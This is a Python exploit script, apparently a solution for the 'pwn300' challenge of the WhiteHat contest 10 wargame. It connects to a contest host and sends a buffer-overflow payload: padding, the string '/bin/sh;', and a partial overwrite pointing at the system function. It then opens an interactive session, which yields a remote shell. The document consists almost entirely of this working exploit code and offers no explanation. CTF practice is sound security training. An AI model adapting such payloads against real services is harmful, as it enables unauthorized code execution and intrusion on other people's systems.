white hat contest 10 pwn300

whitehat2015_10_pwn300.py

#!/usr/bin/python

from Pwn import *
# from Shellcode import *

p = Pwn(mode=1,host='lab33.wargame.whitehat.vn',port=10300)

def exploit():
	payload = '<su>' + 'A'*127 + '<to>' + '/bin/sh;' + 'C'*120
	payload+= p.pack(0x400A40)[:3] # system
	payload+= '<suto>'

	p.connect() # ok start to exploit
	p.send(payload)

	p.io() # interact with socket

exploit()